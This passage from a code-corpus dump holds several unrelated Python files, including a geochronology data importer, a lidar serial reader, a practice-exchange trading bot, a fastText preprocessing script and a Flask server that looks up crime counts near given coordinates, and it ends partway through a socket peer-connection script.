github\n# def rouge(targets, predictions, score_keys=None):\n# \"\"\"Computes rouge score.\n# Args:\n# targets: list of strings\n# predictions: list of strings\n# score_keys: list of strings with the keys to compute.\n# Returns:\n# dict with score_key: rouge score across all targets and predictions\n# \"\"\"\n\n# if score_keys is None:\n# score_keys = [\"rouge1\", \"rouge2\", \"rougeLsum\"]\n# scorer = rouge_scorer.RougeScorer(score_keys)\n# aggregator = scoring.BootstrapAggregator()\n\n# def _prepare_summary(summary):\n# # Make sure the summary is not bytes-type\n# # Add newlines between sentences so that rougeLsum is computed correctly.\n# summary = summary.replace(\" . \", \" .\\n\")\n# return summary\n\n# for prediction, target in zip(predictions, targets):\n# target = _prepare_summary(target)\n# prediction = _prepare_summary(prediction)\n# aggregator.add_scores(scorer.score(\n# target=target, prediction=prediction))\n# result = aggregator.aggregate()\n# # for key in score_keys:\n# # logging.info(\n# # \"%s = %.2f, 95%% confidence [%.2f, %.2f]\",\n# # key,\n# # result[key].mid.fmeasure*100,\n# # result[key].low.fmeasure*100,\n# # result[key].high.fmeasure*100,\n# # )\n# return {key: result[key].mid.fmeasure*100 for key in score_keys}\n\n\n\n# # adopted from 't5' github\n# def pearson_corrcoef(targets, predictions):\n# \"\"\"Pearson correlation coefficient.\"\"\"\n# return {\"pearson_corrcoef\":\n# 100 * scipy.stats.pearsonr(targets, predictions)[0]}\n\n# # adopted from 't5' github\n# def spearman_corrcoef(targets, predictions):\n# \"\"\"Spearman correlation coefficient.\"\"\"\n# return {\"spearman_corrcoef\":\n# 100 * scipy.stats.spearmanr(targets, predictions)[0]}\n\n# # adopted from 't5' github\n# def exact_match(targets, predictions):\n# \"\"\"Computes whether the targets match predictions exactly.\"\"\"\n# return {\"exact_match\": 100 * float(np.array_equal(targets, predictions))}\n\n\n# def exact_match_str(target, prediction):\n# return {\"exact_match_str\": 1. if target == prediction else 0.}\n\n\n# def f1_str_base(target, prediction):\n# target = [ch for ch in target]\n# prediction = [ch for ch in prediction]\n\n# same = Counter(target) & Counter(prediction)\n# num_same = same.values()\n# if num_same == 0:\n# return 0\n \n# precision = 1.0 * num_same / len(prediction)\n# recall = 1.0 * num_same / len(target)\n# f1 = (2 * precision * recall) / (precision + recall)\n \n# return f1\n\n# def f1_str(target, prediction):\n# return {\"f1_str\": 100 * f1_str_base(target, prediction)}\n\n# def f1_str_batch(targets, predictions):\n# return {\"f1_str\": 100 * np.average(np.array([f1_str_base(x, y) for x, y in zip(targets, predictions)], dtype=np.float))}\n# sklearn.metrics.matthews_corrcoef(y_true, y_pred, *, sample_weight=None)[source]\n","sub_path":"ke_t5/task/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":13857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"391180877","text":"from itertools import chain\nfrom sparrow.import_helpers import BaseImporter, SparrowImportError\nfrom datetime import datetime\nfrom io import StringIO\nfrom pandas import read_csv, concat\nfrom math import isnan\nimport numpy as N\nfrom click import secho\nfrom sqlalchemy.exc import IntegrityError, DataError\n\nfrom .normalize_data import normalize_data, generalize_samples\n\ndef extract_table(csv_data):\n tbl = csv_data\n if tbl is None:\n return\n f = StringIO()\n f.write(tbl.decode())\n f.seek(0)\n df = read_csv(f)\n df = df.iloc[:,1:]\n return normalize_data(df)\n\ndef infer_project_name(fp):\n folders = fp.split(\"/\")[:-1]\n return max(folders, key=len)\n\nclass LaserchronImporter(BaseImporter):\n \"\"\"\n A basic Sparrow importer for cleaned ETAgeCalc and NUPM AgeCalc files.\n \"\"\"\n authority = \"ALC\"\n\n def import_all(self, redo=False):\n self.redo = redo\n q = self.db.session.query(self.db.model.data_file)\n self.iter_records(q, redo=redo)\n\n def import_one(self, basename):\n q = (self.db.session.query(self.db.model.data_file)\n .filter_by(basename=basename))\n self.iter_records(q, redo=True)\n\n def import_datafile(self, fn, rec, redo=False):\n \"\"\"\n data file -> sample(s)\n \"\"\"\n if \"NUPM-MON\" in rec.basename:\n raise SparrowImportError(\"NUPM-MON files are not handled yet\")\n if not rec.csv_data:\n raise SparrowImportError(\"CSV data not extracted\")\n\n data, meta = extract_table(rec.csv_data)\n self.meta = meta\n data.index.name = 'analysis'\n\n data = generalize_samples(data)\n\n ids = list(data.index.unique(level=0))\n\n for sample_id in ids:\n df = data.xs(sample_id, level='sample_id', drop_level=False)\n try:\n yield self.import_session(rec, df)\n except IntegrityError as err:\n raise SparrowImportError(str(err.orig))\n\n def import_session(self, rec, df):\n\n # Infer project name\n project_name = infer_project_name(rec.file_path)\n project = self.project(project_name)\n\n date = rec.file_mtime or datetime.min()\n\n sample_id = df.index.unique(level=0)[0]\n sample = self.sample(name=sample_id)\n self.db.session.add(project)\n self.db.session.add(sample)\n\n session = self.db.get_or_create(\n self.m.session,\n date=date,\n project_id=project.id,\n sample_id=sample.id)\n\n self.db.session.flush()\n\n dup = df['analysis'].duplicated(keep='first')\n if dup.astype(bool).sum() > 0:\n self.warn(f\"Duplicate analyses found for sample {sample_id}\")\n df = df[~dup]\n\n for i, row in df.iterrows():\n list(self.import_analysis(row, session))\n\n return session\n\n def import_analysis(self, row, session):\n \"\"\"\n row -> analysis\n \"\"\"\n # session index should not be nan\n try:\n ix = int(row.name[1])\n except ValueError:\n ix = None\n\n analysis = self.add_analysis(\n session,\n session_index=ix,\n analysis_name=str(row['analysis']))\n\n for i in row.iteritems():\n d = self.import_datum(analysis, *i, row)\n if d is None: continue\n yield d\n\n def import_datum(self, analysis, key, value, row):\n \"\"\"\n Each value in a table row -> datum\n \"\"\"\n if key == 'analysis':\n return None\n if key.endswith(\"_error\"):\n return None\n if key == 'best_age':\n # We test for best ages separately, since they\n # must be one of the other ages\n return None\n\n value = float(value)\n if isnan(value):\n return None\n\n m = self.meta[key]\n parameter = m.name\n\n unit = self.unit(m.at['Unit']).id\n\n err = None\n err_unit = None\n try:\n err_ix = key+\"_error\"\n err = row.at[err_ix]\n i = self.meta[err_ix].at['Unit']\n err_unit = self.unit(i).id\n except KeyError:\n pass\n\n is_age = key.startswith(\"age_\")\n\n datum = self.datum(analysis, parameter, value,\n unit=unit,\n error=err,\n error_unit=err_unit,\n error_metric=\"2s\",\n is_interpreted=is_age)\n\n if is_age:\n # Test if it is a \"best age\"\n best_age = float(row.at['best_age'])\n datum.is_accepted = N.allclose(value, best_age)\n return datum\n","sub_path":"import-pipelines/LaserChron/sparrow_import_laserchron/laserchron_importer.py","file_name":"laserchron_importer.py","file_ext":"py","file_size_in_byte":4619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"501331751","text":"\nimport numpy as np\nimport serial\nimport threading\n\n \n\nclass lidarReader:\n\tdef __init__(self, port, baudrate):\n\t\tself.serialport = serial.Serial(port=port, baudrate=baudrate)\n\t\t# the container stores the distance for a certain angle\n\t\tself.container = np.zeros(360)\n\t\tself.serialport.reset_input_buffer()\n\t\tself.serialport.reset_output_buffer()\n\t\t#self.thread = threading.Thread(target=self.read, args=())\n\t\t#self.thread.daemon = True\n\t\t#self.thread.start()\n\t\n\tdef prepare(self):\n\t\t#self.serialport.write(b'RelayOff\\n')\n\t\twhile(len(self.serialport.readline().split(\",\")) != 4): # \"A\" sign, distance, angle, quality\n\t\t\tself.serialport.write(b'ShowDist\\n')\n\n\tdef read(self):\n\t\tself.prepare()\n\t\twhile True:\n\t\t\tline = self.serialport.readline() # read a '\\n' terminated line \n\t\t\tdata = line.split(\",\")\n\t\t\tif(data[1].isdigit() and int(data[1]) < 360): # shouldn't be false, put here just in case of transimisson error\n\t\t\t\tself.container[int(data[1])] = int(data[2])\n\t\t\t\tif int(data[1]) == 0:\n\t\t\t\t\tangle_0 = int(data[2])\n\t\t\t\t\tprint(angle_0)\n\t\t\t\t\tif(angle_0 >= 150 and angle_0 <= 250):\n\t\t\t\t\t\tangle_90, angle_270 = self.container[90], self.container[270]\n\t\t\t\t\t\tprint(\"Too close\", angle_0)\n\t\t\t\t\t\tif(angle_90 > angle_270):\n\t\t\t\t\t\t\tprint(\"Moving left\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"Moving right\")\n\t\t\t#print(data)\n\t\t\t\nif __name__ == \"__main__\":\n\treader = lidarReader('/dev/mylidar', 115200)\n\treader.read()\n","sub_path":"Development Code/lidar_test_reading.py","file_name":"lidar_test_reading.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"259326379","text":"import sys\r\nfrom cx_Freeze import setup, Executable\r\n\r\n# path_platforms = ( \"C:\\Python33\\Lib\\site-packages\\PyQt5\\plugins\\platforms\\qwindows.dll\", \"platforms\\qwindows.dll\" )\r\ngui = (\r\n \"msvcp100.dll\",\r\n \"msvcr100.dll\",\r\n 'Documasonry.ui',\r\n 'templates',\r\n 'output'\r\n)\r\n\r\n\r\n\r\n\r\n\r\nbuild_dir = 'D:/Documasonry_build_v1.05'\r\n\r\n\r\n\r\nbuild_exe_options = {\r\n \"packages\": [\"os\"],\r\n \"excludes\": [\"tkinter\"],\r\n \"includes\" : [ \"re\", \"atexit\"],\r\n \"include_files\" : gui,\r\n \"icon\": 'icon.ico',\r\n \"build_exe\": build_dir,\r\n \"base\": \"Win32GUI\"\r\n}\r\nsetup(name = \"Documasonry.exe\",\r\n version = \"0.1\",\r\n author = \"Probe\",\r\n description = \"Documasonry\",\r\n options = {\"build_exe\": build_exe_options},\r\n executables = [Executable(\"Documasonry.py\")])","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"199115684","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('RegistroUsuarios/', views.index, name='index'),\n path ('ciudades/', views.ciudades, name='ciudades'), \n path('ciudades/new/', views.new_ciudad, name='new_ciudades'),\n path('tipodocumentos/',views.tipodocumentos,name='tipodocumentos'),\n path('tipodocumentos/new',views.new_tipodocumento,name='new_tipodocumentos'),\n path('personas/',views.personas,name='personas'),\n path('personas/new',views.new_persona,name='new_persona'),\n]","sub_path":"RegistroUsuarios/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"74066290","text":"from particles import Particle, Charge, Anchor\nfrom vector import Vector2\n\n\nclass Disk(Particle):\n\n def __init__(self, position, velocity=Vector2(), mass=1, radius=1, elasticity=1):\n super().__init__(position, velocity, mass)\n self.radius = 1\n self.elasticity = elasticity\n","sub_path":"src/entities/bodies.py","file_name":"bodies.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"477348502","text":"# coding:utf-8\nimport pandas as pd\nimport random\n# import fasttext\n\n\ndef read_dataset(data_path):\n # Data Preparation\n # ==================================================\n\n # Load data\n print(\"Loading data...\")\n df = pd.read_csv(data_path)\n\n df = df[~df['token'].isna()]\n\n train_data = df[df['train_val_test'] != 3]\n for cls, group in train_data.groupby('train_val_test'):\n print(cls, len(group))\n test_data = df[df['train_val_test'] == 3]\n for cls, group in test_data.groupby('train_val_test'):\n print(cls, len(group))\n\n # Train set\n x_train = [x.replace('。', ' ') for x in train_data['token'].tolist()]\n y_train = train_data['cls'].tolist()\n\n train = []\n for x, y in zip(x_train, y_train):\n train.append(\"__lable__\" + str(int(y)) + \" , \" + x)\n\n # Test set\n x_test = [x.replace('。', ' ') for x in test_data['token'].tolist()]\n y_test = test_data['cls'].tolist()\n\n test = []\n for x, y in zip(x_test, y_test):\n test.append(\"__lable__\" + str(int(y)) + \" , \" + x)\n\n return train, test\n\n\ndef writeData(sentences, fileName):\n random.shuffle(sentences)\n print(\"writing data to fasttext format...\")\n with open(fileName, 'w', encoding='utf-8') as fp:\n for sentence in sentences:\n fp.write(sentence+\"\\n\")\n print(\"done!\")\n\n\n\nif __name__==\"__main__\":\n data_file = r'../data/trainSet/classifier/train_info_5w.csv'\n\n train_set_file = r'../data/trainSet/classifier/fastText/trainData.txt'\n test_set_file = r'../data/trainSet/classifier/fastText/testData.txt'\n\n train_set, test_set = read_dataset(data_file)\n writeData(train_set, train_set_file)\n writeData(test_set, test_set_file)\n\n # classifier=fasttext.supervised(train_set_file,'model/Fasttext_classifier.model',lable_prefix='__lable__')\n # result = classifier.test(test_set_file)\n # print(\"P@1:\",result.precision) #准确率\n # print(\"R@2:\",result.recall) #召回率\n # print(\"Number of examples:\",result.nexamples) #预测错的例子\n\n\n ################################3\n # #实际预测\n # lable_to_cate={1:'technology'.1:'car',3:'entertainment',4:'military',5:'sports'}\n #\n # texts=['中新网 日电 2018 预赛 亚洲区 强赛 中国队 韩国队 较量 比赛 上半场 分钟 主场 作战 中国队 率先 打破 场上 僵局 利用 角球 机会 大宝 前点 攻门 得手 中国队 领先']\n # lables=classifier.predict(texts)\n # print(lables)\n # print(lable_to_cate[int(lables[0][0])])\n #\n # #还可以得到类别+概率\n # lables=classifier.predict_proba(texts)\n # print(lables)\n #\n # #还可以得到前k个类别\n # lables=classifier.predict(texts, k=3)\n # print(lables)\n #\n # #还可以得到前k个类别+概率\n # lables=classifier.predict_proba(texts, k=3)\n # print(lables)","sub_path":"LawCase/TextClassifier/FastText.py","file_name":"FastText.py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"300224833","text":"import operator\n\nclass Ant:\n\tdef __init__(self, p, r):\n\t\tself.p = p \t\t # The position of the ant\n\t\tself.r = r \t\t # True if the ant is headed right\n\t\tself.t = -1\t\t # The calculated time of the ant\n\t\tself.i_l = -1 # last index of left list\n\t\tself.i_r = -1\t # First index of right list\n\t\tself.clear = None\n\n\tdef __str__(self):\n\t\treturn 'Ant(' + str(self.p) + \", \" + ('R' if self.r else 'L') + \", (\"+str(self.i_l)+\", \"+str(self.i_r)+\")\" + ')'\n\ndef get_ants():\n\t\"\"\"\n\tReads the ants from stdin\n\t\"\"\"\n\ttry:\n\t\tline = input().split(' ')\n\t\tL, A = int(line[0]), int(line[1])\n\t\tants = []\n\t\tfor _ in range(A):\n\t\t\tline = input().split(' ')\n\t\t\tp, r = int(line[0]), line[1] == 'R'\n\t\t\tants.append( Ant(p, r) )\n\t\t# Make sure the ants are in order\n\t\tants.sort(key=operator.attrgetter('p'))\n\t\treturn L, ants\n\texcept EOFError:\n\t\tpass\n\treturn None, None\n\ndef printt(ants):\n\t\"\"\"\n\tPrints the ants array\n\t\"\"\"\n\tants = [str(a) for a in ants]\n\tprint(ants)\n\ndef path_clear(ants):\n\t\"\"\"\n\tDetermines if the path to the edge is clear or if you have to bump\n\tanother ant first.\n\t\"\"\"\n\t# if ants[i].r:\n\t# \treturn all(ants[k].r for k in range(i, len(ants)))\n\t# return all(not ants[k].r for k in range(i))\n\tleft = True\n\tright = True\n\tfor i in range(len(ants)):\n\t\tii = len(ants) - i - 1\n\t\tif not ants[i].r:\n\t\t\tants[i].clear = left\n\t\telse:\n\t\t\tleft = False\n\t\tif ants[ii].r:\n\t\t\tants[ii].clear = right\n\t\telse:\n\t\t\tright = False\n\t\tif not left and not right:\n\t\t\treturn\n\ndef distance_to_edge(L, ants, i):\n\t\"\"\"\n\tReturns the distance the i:th ant has left to the edge.\n\t\"\"\"\n\tif ants[i].r:\n\t\treturn L - ants[i].p\n\treturn ants[i].p\n\ndef get_left_and_right(ants):\n\t# left = [k for k in range(i) if ants[k].r]\n\t# right = [k for k in range(i + 1, len(ants)) if not ants[k].r]\n\tleft = []\n\tright = []\n\tfor i in range(len(ants)):\n\t\tants[i].i_l = len(left) - 1\n\t\tants[i].i_r = len(right) + 1\n\t\tif ants[i].r:\n\t\t\tleft.append( i )\n\t\t\tants[i].i_l = len(left) - 2\n\t\telse:\n\t\t\tright.append( i )\n\t\t\tants[i].i_r = len(right) + 1\n\treturn left, right\n\ndef get_last_bumper(L, ants, i, left, right):\n\t# left = left[:ants[i].i_l]\n\t# right = right[ants[i].i_r:]\n\t_r = min(len(right), ants[i].i_r)\n\tll = max(0, ants[i].i_l)\n\tlr = len(right) - ants[i].i_r\n\tif ants[i].r:\n\t\ts = lr - ll\n\t\tif s <= 0:\n\t\t\t# Same dir\n\t\t\treturn left[(ll - 1 - (lr + 1))]\n\t\treturn right[_r + (ll)]\n\telse:\n\t\ts = ll - lr\n\t\tif s <= 0:\n\t\t\treturn right[_r + (ll - 1)]\n\t\treturn left[(ll - 1 - lr)]\n\ndef walk(L, ants, i, left, right):\n\tif ants[i].clear: # path_clear(ants, i):\n\t\tants[i].t = distance_to_edge(L, ants, i)\n\t\treturn\n\t# We need to bump atleast one ant\n\tk = get_last_bumper(L, ants, i, left, right)\n\t# The last ant that will cause us to bump should already be walking\n\t# towards us.\n\tants[i].t = distance_to_edge(L, ants, k)\n\ndef get_last_ant(L, ants):\n\t\"\"\"\n\tReturns the oldest ants\n\t\"\"\"\n\toldest = []\n\tleft, right = get_left_and_right(ants)\n\tpath_clear(ants)\n\tfor i in range(len(ants)):\n\t\twalk(L, ants, i, left, right)\n\t\ta = ants[i]\n\t\tif oldest == [] or oldest[0].t <= a.t:\n\t\t\tif len(oldest) > 0 and oldest[0].t < a.t:\n\t\t\t\toldest = []\n\t\t\toldest.append(a)\n\treturn oldest\n\ndef test():\n\twhile True:\n\t\tL, ants = get_ants()\n\t\tif L is None or ants is None:\n\t\t\tbreak\n\n\t\toldest = get_last_ant(L, ants)\n\n\t\tt = oldest[0].t\n\t\tif (t * 1.0).is_integer():\n\t\t\tt = int(t)\n\t\tp = ' and '.join([ str(a.p) for a in oldest ])\n\n\t\tprint(\"The last ant will fall down in \" + str(t) + \" seconds - started at \" + p + \".\")\n\nimport cProfile\ncProfile.run('test()')\n","sub_path":"andrewant/andrewant2.py","file_name":"andrewant2.py","file_ext":"py","file_size_in_byte":3447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"323359230","text":"#!/usr/bin/python\n\n# ~~~~~============== HOW TO RUN ==============~~~~~\n# 1) Configure things in CONFIGURATION section\n# 2) Change permissions: chmod +x bot.py\n# 3) Run in loop: while true; do ./bot.py; sleep 1; done\n\nfrom __future__ import print_function\n\nimport sys\nimport socket\nimport json\nimport strats\nimport time\n\n# ~~~~~============== CONFIGURATION ==============~~~~~\n# replace REPLACEME with your team name!\nteam_name=\"RWALK\"\n# This variable dictates whether or not the bot is connecting to the prod\n# or test exchange. Be careful with this switch!\ntest_mode = True\n\n# This setting changes which test exchange is connected to.\n# 0 is prod-like\n# 1 is slower\n# 2 is empty\ntest_exchange_index=0\nprod_exchange_hostname=\"production\"\n\nport=25000 + (test_exchange_index if test_mode else 0)\nexchange_hostname = \"test-exch-\" + team_name if test_mode else prod_exchange_hostname\n\n# ~~~~~============== NETWORKING CODE ==============~~~~~\ndef connect():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((exchange_hostname, port))\n return s.makefile('rw', 1)\n\ndef write_to_exchange(exchange, obj):\n json.dump(obj, exchange)\n exchange.write(\"\\n\")\n\ndef read_from_exchange(exchange):\n return json.loads(exchange.readline())\n\n\n# ~~~~~============== MAIN LOOP ==============~~~~~\n\ndef main():\n exchange = connect()\n write_to_exchange(exchange, {\"type\": \"hello\", \"team\": team_name.upper()})\n order_id = 1\n\n print('RUNNING...')\n\n babz_prices = \"\"\n baba_prices = \"\"\n\n xlk = \"\"\n bond = \"\"\n aapl = \"\"\n msft = \"\"\n goog = \"\"\n\n numXLK = 0\n numBonds = 0\n\n while True:\n hello_from_exchange = read_from_exchange(exchange)\n # A common mistake people make is to call write_to_exchange() > 1\n # time for every read_from_exchange() response.\n # Since many write messages generate marketdata, this will cause an\n # exponential explosion in pending messages. Please, don't do that!\n # print(\"The exchange replied:\", hello_from_exchange, file=sys.stderr)\n\n if 'symbol' not in hello_from_exchange:\n continue\n\n symbol = hello_from_exchange['symbol']\n\n if symbol == 'BOND' and 'type' in hello_from_exchange and hello_from_exchange['type'] == 'book':\n returned = strats.bond_aggro(hello_from_exchange, order_id)\n order_id += 1\n result = write_to_exchange(exchange, returned)\n\n if (symbol == 'XLK' or symbol == 'BOND' or symbol == 'AAPL' or symbol == 'MSFT' or symbol == 'GOOG') and 'type' in hello_from_exchange and hello_from_exchange['type'] == 'book':\n if len(xlk) > 0 and len(bond) > 0 and len(aapl) > 0 and len(msft) > 0 and len(goog) > 0:\n returned = strats.etf_aggro(xlk, bond, aapl, msft, goog, order_id)\n order_id += 1\n\n if order_id > 10:\n write_to_exchange(exchange, {\"type\": \"cancel\", \"order_id\": order_id - 10})\n\n if returned is not None and len(returned) > 0:\n for order in returned:\n write_to_exchange(exchange, order)\n time.sleep(1)\n\n xlk = \"\"\n bond = \"\"\n aapl = \"\"\n msft = \"\"\n goog = \"\"\n\n if symbol == 'XLK':\n xlk = hello_from_exchange\n elif symbol == 'BOND':\n bond = hello_from_exchange\n elif symbol == 'AAPL':\n aapl = hello_from_exchange\n elif symbol == 'MSFT':\n msft = hello_from_exchange\n elif symbol == 'GOOG':\n goog = hello_from_exchange\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"test_bot.py","file_name":"test_bot.py","file_ext":"py","file_size_in_byte":3728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"618266164","text":"from flask import Flask\napp = Flask(__name__)\nimport csv\n\n@app.route(\"/\")\ndef homepage():\n return crimeString(40.776641,-73.952147)\n #return \"Daniel is a badass\"\n\n# @app.route(\"/introuble/<position>\")\n# def getHelp(position):\n\n\n@app.route('/<position1>/<position2>')\n#def crimeDataRetrieval():\ndef splitPosition(position1,position2):\n\t#newPositions = position.split('?')\n\tX = float (position1)\n\tY = float (position2)\n\treturn crimeString(X,Y)\n\ndef crimeString (X, Y):\n\n\tif X<40.49 or X >40.92 or Y > -73.7 or Y < -74.3 :\n\t\treturn \"Coming to this location soon\"\n\n\tinfo = \"\"\n\tnewX = int(round((X - 40.4)/.001))\n\tnewY = int(round((Y + 74.3)/.002))\n\t#print newX, newY\n\tX = round(X, 3)\n\n\tallCrimes = \"You are currently not in NYC\"\n\tassault = allCrimes\n\tburglary = allCrimes\n\tlarceny = allCrimes\n\tgta = allCrimes\n\trape = allCrimes\n\trobbery = allCrimes\n\tmurder = allCrimes\n\n\n\twith open('AllCrimes.csv', 'rb') as csvfile:\n\t\tcrimes = csv.reader(csvfile, delimiter = ',', quotechar = '|')\n\t\ta = 1\n\t\tfor row in crimes:\n\t\t\tif a == 1:\n\t\t\t\t#print row[newY]\n\t\t\t\ta = a + 1\n\t\t\telse:\n\t\t\t\tif float(row[0][1:-1]) == X:\n\t\t\t\t\t#print row[0]\n\t\t\t\t\tallCrimes = row[newY]\n\t\t\t\t\tbreak\n\t\t\t\telse: \n\t\t\t\t\ta = a + 1\n\n\twith open('Assault.csv', 'rb') as csvfile:\n\t\tcrimes = csv.reader(csvfile, delimiter = ',', quotechar = '|')\n\t\ta = 1\n\t\tfor row in crimes:\n\t\t\tif a == 1:\n\t\t\t\t#print row[newY]\n\t\t\t\ta = a + 1\n\t\t\telse:\n\t\t\t\tif float(row[0][1:-1]) == X:\n\t\t\t\t\t#print row[0]\n\t\t\t\t\tassault = row[newY]\n\t\t\t\t\tbreak\n\t\t\t\telse: \n\t\t\t\t\ta = a + 1\n\n\twith open('Burglary.csv', 'rb') as csvfile:\n\t\tcrimes = csv.reader(csvfile, delimiter = ',', quotechar = '|')\n\t\ta = 1\n\t\tfor row in crimes:\n\t\t\tif a == 1:\n\t\t\t\t#print row[newY]\n\t\t\t\ta = a + 1\n\t\t\telse:\n\t\t\t\tif float(row[0][1:-1]) == X:\n\t\t\t\t\t#print row[0]\n\t\t\t\t\tburglary = row[newY]\n\t\t\t\t\tbreak\n\t\t\t\telse: \n\t\t\t\t\ta = a + 1\n\n\twith open('Grand_Larceny.csv', 'rb') as csvfile:\n\t\tcrimes = csv.reader(csvfile, delimiter = ',', quotechar = '|')\n\t\ta = 1\n\t\tfor row in crimes:\n\t\t\tif a == 1:\n\t\t\t\t#print row[newY]\n\t\t\t\ta = a + 1\n\t\t\telse:\n\t\t\t\tif float(row[0][1:-1]) == X:\n\t\t\t\t\t#print row[0]\n\t\t\t\t\tlarceny = row[newY]\n\t\t\t\t\tbreak\n\t\t\t\telse: \n\t\t\t\t\ta = a + 1\n\n\twith open('GTA.csv', 'rb') as csvfile:\n\t\tcrimes = csv.reader(csvfile, delimiter = ',', quotechar = '|')\n\t\ta = 1\n\t\tfor row in crimes:\n\t\t\tif a == 1:\n\t\t\t\t#print row[newY]\n\t\t\t\ta = a + 1\n\t\t\telse:\n\t\t\t\tif float(row[0][1:-1]) == X:\n\t\t\t\t\t#print row[0]\n\t\t\t\t\tgta = row[newY]\n\t\t\t\t\tbreak\n\t\t\t\telse: \n\t\t\t\t\ta = a + 1\n\n\twith open('Rape.csv', 'rb') as csvfile:\n\t\tcrimes = csv.reader(csvfile, delimiter = ',', quotechar = '|')\n\t\ta = 1\n\t\tfor row in crimes:\n\t\t\tif a == 1:\n\t\t\t\t#print row[newY]\n\t\t\t\ta = a + 1\n\t\t\telse:\n\t\t\t\tif float(row[0][1:-1]) == X:\n\t\t\t\t\t#print row[0]\n\t\t\t\t\trape = row[newY]\n\t\t\t\t\tbreak\n\t\t\t\telse: \n\t\t\t\t\ta = a + 1\n\n\twith open('Robbery.csv', 'rb') as csvfile:\n\t\tcrimes = csv.reader(csvfile, delimiter = ',', quotechar = '|')\n\t\ta = 1\n\t\tfor row in crimes:\n\t\t\tif a == 1:\n\t\t\t\t#print row[newY]\n\t\t\t\ta = a + 1\n\t\t\telse:\n\t\t\t\tif float(row[0][1:-1]) == X:\n\t\t\t\t\t#print row[0]\n\t\t\t\t\trobbery = row[newY]\n\t\t\t\t\tbreak\n\t\t\t\telse: \n\t\t\t\t\ta = a + 1\n\n\twith open('Murder.csv', 'rb') as csvfile:\n\t\tcrimes = csv.reader(csvfile, delimiter = ',', quotechar = '|')\n\t\ta = 1\n\t\tfor row in crimes:\n\t\t\tif a == 1:\n\t\t\t\t#print row[newY]\n\t\t\t\ta = a + 1\n\t\t\telse:\n\t\t\t\tif float(row[0][1:-1]) == X:\n\t\t\t\t\t#print row[0]\n\t\t\t\t\tmurder = row[newY]\n\t\t\t\t\tbreak\n\t\t\t\telse: \n\t\t\t\t\ta = a + 1\n\ttheList = []\n\ttheList.append('Felonies:'+ allCrimes)\n\tif int(burglary) >= 3:\n\t\ttheList.append('Burglaries:'+ burglary)\n\tif int(assault) >= 3.5:\n\t\ttheList.append('Assaults:'+ assault)\n\tif int(larceny) >= 14:\n\t\ttheList.append('GrandLarceny:' + larceny)\n\tif int(gta) >= 1.1:\n\t\ttheList.append('Gta:' + gta)\n\tif int(rape) >= 3.5:\n\t\ttheList.append('Rape' + rape)\n\tif int(robbery) >= 3.3:\n\t\ttheList.append('Roberies' + robbery)\n\tif int(murder) >= 1:\n\t\ttheList.append('Murder' +murder)\n\n\tinfo = \", \".join(theList[:3])\n\t# info = '''\n\t# Felonies: %s, Burglaries: %s , Assaults: %s , GrandLarceny: %s , Gta: %s , Murder: %s , Rape: %s , Robberies: %s\n\t# ''' %(allCrimes, burglary, assault, larceny, gta, murder, rape, robbery)\n\n\treturn info\n\n\n\n\n\nif __name__ == \"__main__\":\n\tapp.debug = True\n\tapp.run(host='0.0.0.0')\n","sub_path":"DataMap/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"386858202","text":"import socket\nimport math\nimport time\nimport threading\nimport sys\nimport os\nimport queue\ntry:\n import tkinter\n import pyaudio\n import numpy\nexcept:\n pass\n\nglobal thread \n\n\nclass aThread(threading.Thread):\n # 比较标准的python3线程类\n def __init__(self,threadID,name,counter,q):\n threading.Thread.__init__(self)\n self.threadID = threadID\n # ID用来与连接序数相对应\n self.name = name\n self.counter = counter\n self.q = q\n def run(self):\n if self.counter == 0 :\n Loading()\n if self.counter == 1 :\n info()\n if self.counter == 2 :\n i(self.q)\n if self.counter == 3:\n connect[0].Seed(self.threadID,self.q)\n if self.counter == 4:\n connect[threadID].Connect(self.threadID,self.q)\n if self.counter == 5:\n sop()\n if self.counter == 6:\n listen()\n if self.counter == 7:\n tk_update()\n\nclass aConnect:\n def __init__(self,ID):\n self.ID = ID\n self.q = queue.Queue()\n self.thread = []\n self.info = ['Wait','']\n\n\n def new_connect(self):\n global connect\n # 连接到来,开一个空接口\n L = len(connect) - 1 ; i = 1\n while i <= L:\n if connect[i].info[0] == 'Out':\n connect[i].thread.join()\n self.newThread(i)\n i = L\n else:\n if i == L:\n self.newThread(i+1)\n i += 1\n\n def newThread(self,ID):\n global connect\n if self.ID == 0:\n self.thread = aThread(0,'seed',3,self.q)\n else:\n if self.ID != len(connect):\n self.thread = aThread(self.ID,'connect',4,self.q)\n else:\n self.thread = aThread(self.ID,'connect',4,self.q)\n self.thread.start() \n\n\n\n def Connect(self,ID,q):\n global Me , connect, settings\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(1)\n\n while True:\n \n if self.info[0] == 'Out':\n time.sleep(0.1)\n\n if settings[1] == Me[0][1] and settings[2] == settings[3]:\n settings[1] = '' ; settings[2] = 0\n\n while settings[1] == '' or settings[2] == 0:\n time.sleep(1)\n\n try:\n s.connect((settings[1], settings[2]))\n except:\n settings[1] == '' 